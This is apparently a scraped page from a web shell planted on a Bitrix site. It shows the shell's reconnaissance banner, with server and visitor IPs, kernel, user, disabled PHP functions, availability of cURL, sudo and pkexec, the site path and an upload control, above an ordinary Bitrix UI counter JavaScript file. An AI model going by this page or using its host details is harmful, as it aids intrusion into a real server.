%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.149.231.97 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/ui/cnt/ |
Upload File : |
(function() { 'use strict'; BX.namespace('BX.UI.Counter'); BX.UI.Counter = function(options) { this.options = BX.type.isPlainObject(options) ? options : {}; this.container = null; this.counterContainer = null; this.value = 0; this.animate = false; this.color = BX.UI.Counter.Color.DANGER; this.size = BX.UI.Counter.Size.MEDIUM; this.setValue(options.value); this.setColor(options.color); this.setSize(options.size); this.setAnimate(options.animate); }; /** * * @enum {string} */ BX.UI.Counter.Color = { DANGER: "ui-counter-danger", SUCCESS: "ui-counter-success", PRIMARY: "ui-counter-primary", GRAY: "ui-counter-gray", LIGHT: "ui-counter-light", DARK: "ui-counter-dark" }; /** * * @enum {string} */ BX.UI.Counter.Size = { LARGE: "ui-counter-lg", MEDIUM: "ui-counter-md" }; BX.UI.Counter.prototype = { //region Parameters getValue: function() { return this.value; }, setValue: function(value) { if (BX.type.isNumber(value)) { this.value = (value < 0) ? 0 : value; } }, setColor: function(color) { if (BX.type.isNotEmptyString(color)) { BX.removeClass(this.getContainer(), this.color); this.color = color; BX.addClass(this.getContainer(), this.color); } }, setSize: function(size) { if (BX.type.isNotEmptyString(size)) { BX.removeClass(this.getContainer(), this.size); this.size = size; BX.addClass(this.getContainer(), this.size); } }, setAnimate: function(animate) { this.animate = animate; }, //endregion // region Counter update: function(value) { if (this.animate === true) { this.updateAnimated(value) } else { this.setValue(value); BX.adjust(this.counterContainer, { text: this.getValue() }); } }, updateAnimated: function(value) { if (value > this.getValue()) { BX.addClass(this.counterContainer, "ui-counter-plus"); } else { BX.addClass(this.counterContainer, "ui-counter-minus"); } this.setValue(value); setTimeout(function() { BX.removeClass(this.counterContainer, "ui-counter-plus"); BX.removeClass(this.counterContainer, "ui-counter-minus"); }.bind(this), 500); setTimeout(function() { BX.adjust(this.counterContainer, { text: this.getValue() }); }.bind(this), 250); }, //endregion getCounterContainer: function() { if (this.counterContainer === null) { this.counterContainer = BX.create("div", { props: { className: "ui-counter-inner" }, text: this.getValue() }); } return this.counterContainer; }, getContainer: function() { if (this.container === null) { this.container = BX.create("div", { props: { className: "ui-counter" }, children: [this.getCounterContainer()] }); } return this.container; } }; })();